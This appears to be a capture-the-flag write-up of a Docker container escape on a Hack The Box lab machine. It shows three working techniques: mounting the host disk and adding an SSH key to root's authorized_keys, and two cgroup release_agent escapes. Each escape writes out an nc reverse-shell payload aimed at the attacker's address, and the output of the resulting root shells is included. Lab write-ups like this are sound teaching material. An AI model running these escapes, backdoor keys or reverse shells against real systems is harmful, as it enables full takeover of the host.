Docker Breakout
Now that I have made a lateral movement to the root
user inside the Docker container, I will attempt to escape the container to get to the target system
As enumerated earlier, the docker container that I am in is privileged
mounting disk
root@gitlab:/# mkdir -p /mnt/hola
root@gitlab:/# mount /dev/sda1 /mnt/hola
mount: wrong fs type, bad option, bad superblock on /dev/sda1,
missing codepage or helper program, or other error
In some cases useful info is found in syslog - try
dmesg | tail or so.
Attempting to mount an arbitrary container directory to one of the host partitions fails This is pretty much normal. A well configured container shouldn’t be vulnerable to such technique above.
root@gitlab:/# mount /dev/sda2 /mnt/hola
Apparently, it works fine with the /dev/sda2
partition
root@gitlab:/# fdisk -l
[...REDACTED...]
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 19920895 19916800 9.5G Linux filesystem
/dev/sda3 19920896 20969471 1048576 512M Linux swap
That’s why. /dev/sda1
is just a BIOS boot partition and the main partition was /dev/sda2
root@gitlab:/# ll /mnt/hola/
total 100
drwxr-xr-x 20 root root 4096 Apr 5 2022 ./
drwxr-xr-x 1 root root 4096 Mar 26 01:21 ../
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin/
drwxr-xr-x 3 root root 4096 Apr 5 2022 boot/
drwxr-xr-x 2 root root 4096 Apr 5 2022 cdrom/
drwxr-xr-x 5 root root 4096 Dec 4 2020 dev/
drwxr-xr-x 102 root root 4096 Apr 5 2022 etc/
drwxr-xr-x 3 root root 4096 Jul 7 2020 home/
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib/
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32/
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64/
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32/
drwx------ 2 root root 16384 May 7 2020 lost+found/
drwxr-xr-x 2 root root 4096 Apr 23 2020 media/
drwxr-xr-x 2 root root 4096 Apr 5 2022 mnt/
drwxr-xr-x 4 root root 4096 Apr 5 2022 opt/
drwxr-xr-x 2 root root 4096 Apr 15 2020 proc/
drwx------ 10 root root 4096 Apr 5 2022 root/
drwxr-xr-x 10 root root 4096 Apr 23 2020 run/
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin/
drwxr-xr-x 6 root root 4096 Apr 5 2022 snap/
drwxr-xr-x 2 root root 4096 Apr 5 2022 srv/
drwxr-xr-x 2 root root 4096 Apr 15 2020 sys/
drwxrwxrwt 12 root root 12288 Mar 26 01:27 tmp/
drwxr-xr-x 14 root root 4096 Apr 5 2022 usr/
drwxr-xr-x 14 root root 4096 Dec 4 2020 var/
The entire host filesystem is mounted to the /mnt/hola
directory
root@gitlab:/# ll /mnt/hola/roll /mnt/hola/root
total 68
drwx------ 10 root root 4096 Apr 5 2022 ./
drwxr-xr-x 20 root root 4096 Apr 5 2022 ../
lrwxrwxrwx 1 root root 9 Jul 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Apr 5 2022 .cache/
drwx------ 3 root root 4096 Apr 5 2022 .config/
-rw-r--r-- 1 root root 44 Jul 8 2020 .gitconfig
-rw------- 1 root root 32 Apr 5 2022 .lesshst
drwxr-xr-x 3 root root 4096 Apr 5 2022 .local/
lrwxrwxrwx 1 root root 9 Dec 7 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Jul 12 2020 .selected_editor
drwx------ 2 root root 4096 Apr 5 2022 .ssh/
drwxr-xr-x 2 root root 4096 Apr 5 2022 .vim/
-rw-rw-rw- 1 root root 1432 Apr 5 2022 .viminfo
drwxr-xr-x 3 root root 4096 Apr 5 2022 docker-gitlab/
drwxr-xr-x 10 root root 4096 Apr 5 2022 ready-channel/
-r-------- 1 root root 33 Mar 26 01:11 root.txt
drwxr-xr-x 3 root root 4096 Apr 5 2022 snap/
I can access the home directory of the root
user as well. (host root
, NOT Docker root
)
File Overwrite
root@gitlab:/# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' >> /mnt/hola/root/.ssh/authorized_keys
I can just write my own SSH key to the authorized_keys
file of the root
user on the target host
┌──(kali㉿kali)-[~/archive/htb/labs/ready]
└─$ ssh root@$IP -i ~/.ssh/id_ed25519
enter passphrase for key '/home/kali/.ssh/id_ed25519':
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
* documentation: https://help.ubuntu.com
* management: https://landscape.canonical.com
* support: https://ubuntu.com/advantage
system information as of sun 26 mar 2023 01:30:10 AM UTC
system load: 1.24
usage of /: 79.7% of 9.22GB
memory usage: 73%
swap usage: 0%
processes: 328
users logged in: 0
ipv4 address for br-bcb73b090b3f: 172.19.0.1
ipv4 address for docker0: 172.17.0.1
ipv4 address for ens160: 10.10.10.220
ipv6 address for ens160: dead:beef::250:56ff:feb9:733d
* Introducing self-healing high availability clusters in MicroK8s.
Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
186 updates can be installed immediately.
89 of these updates are security updates.
to see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
to check for new updates run: sudo apt update
last login: Tue Apr 5 16:15:21 2022
root@ready:~# whoami
root
root@ready:~# hostname
ready
root@ready:~# ifconfig
br-bcb73b090b3f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:38ff:feb3:d9d2 prefixlen 64 scopeid 0x20<link>
ether 02:42:38:b3:d9:d2 txqueuelen 0 (Ethernet)
RX packets 235 bytes 138917 (138.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 270 bytes 26113 (26.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:02:c6:c9:df txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.220 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:733d prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:733d prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:73:3d txqueuelen 1000 (Ethernet)
RX packets 594 bytes 60235 (60.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 878 bytes 197744 (197.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1521 bytes 119606 (119.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1521 bytes 119606 (119.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth7319d1e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::84b4:eff:fe2d:d77c prefixlen 64 scopeid 0x20<link>
ether 86:b4:0e:2d:d7:7c txqueuelen 0 (Ethernet)
RX packets 235 bytes 142207 (142.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 279 bytes 26663 (26.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise
Docker release_agent cgroups escape
The earlier PEAS scanning revealed that the release_agent breakout technique can be used to escape the environment
# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
# If "d" is empty, this won't work, you need to use the [next PoC](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privileged-escape-abusing-release_agent-poc2)
root@gitlab:\# d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
root@gitlab:\# echo $d
/sys/fs/cgroup/rdma
# Enables notify_on_release in the cgroup
# If there is *"Read-only file system"* error, you need to use the [next PoC](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privileged-escape-abusing-release_agent-poc2)
root@gitlab:\# mkdir -p $d/w;
root@gitlab:\# echo 1 >$d/w/notify_on_release
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
root@gitlab:\# t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@gitlab:\# echo $t
/var/lib/docker/overlay2/70124a306b6b95b09774248b4be5342935b0b3640974e5d2b40225362aa89b39/diff
# Sets release_agent to /path/payload
root@gitlab:\# touch /o; echo $t/c > $d/release_agent
# Creates a payload
root@gitlab:\# echo '#!/bin/sh' > /c
root@gitlab:\# echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f' >> /c
root@gitlab:\# chmod +x /c
# Triggers the cgroup via empty cgroup.procs
root@gitlab:\# sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
┌──(kali㉿kali)-[~/archive/htb/labs/ready]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.220] 42742
sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
ready
# ifconfig
br-bcb73b090b3f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:e4ff:fef7:1754 prefixlen 64 scopeid 0x20<link>
ether 02:42:e4:f7:17:54 txqueuelen 0 (Ethernet)
RX packets 244 bytes 154520 (154.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 272 bytes 30357 (30.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:79:8e:8b:f2 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.220 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56ff:feb9:6675 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:6675 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:66:75 txqueuelen 1000 (Ethernet)
RX packets 384 bytes 41832 (41.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 550 bytes 180896 (180.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 846 bytes 66314 (66.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 846 bytes 66314 (66.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth649efd7: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::a84f:96ff:fecb:6cc5 prefixlen 64 scopeid 0x20<link>
ether aa:4f:96:cb:6c:c5 txqueuelen 0 (Ethernet)
RX packets 244 bytes 157936 (157.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 280 bytes 30837 (30.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise
Docker release_agent cgroups escape v2
# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# if you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
root@gitlab:\# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC
# Enables cgroup notifications on release of the "x" cgroup
root@gitlab:\# echo 1 > /tmp/cgrp/x/notify_on_release
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
root@gitlab:\# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
root@gitlab:\# echo "$host_path/cmd" > /tmp/cgrp/release_agent
#===================================
#Reverse shell
root@gitlab:\# echo '#!/bin/bash' > /cmd
root@gitlab:\# echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f' >> /cmd
root@gitlab:\# chmod a+x /cmd
#===================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
root@gitlab:\# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
┌──(kali㉿kali)-[~/archive/htb/labs/ready]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.220] 40150
sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
ready
# ifconfig
br-bcb73b090b3f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:38ff:feb3:d9d2 prefixlen 64 scopeid 0x20<link>
ether 02:42:38:b3:d9:d2 txqueuelen 0 (Ethernet)
RX packets 152 bytes 119022 (119.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 161 bytes 18309 (18.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:02:c6:c9:df txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.220 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:733d prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:733d prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:73:3d txqueuelen 1000 (Ethernet)
RX packets 257 bytes 27800 (27.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 413 bytes 140689 (140.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 704 bytes 55236 (55.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 704 bytes 55236 (55.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth7319d1e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::84b4:eff:fe2d:d77c prefixlen 64 scopeid 0x20<link>
ether 86:b4:0e:2d:d7:7c txqueuelen 0 (Ethernet)
RX packets 152 bytes 121150 (121.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 168 bytes 18719 (18.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise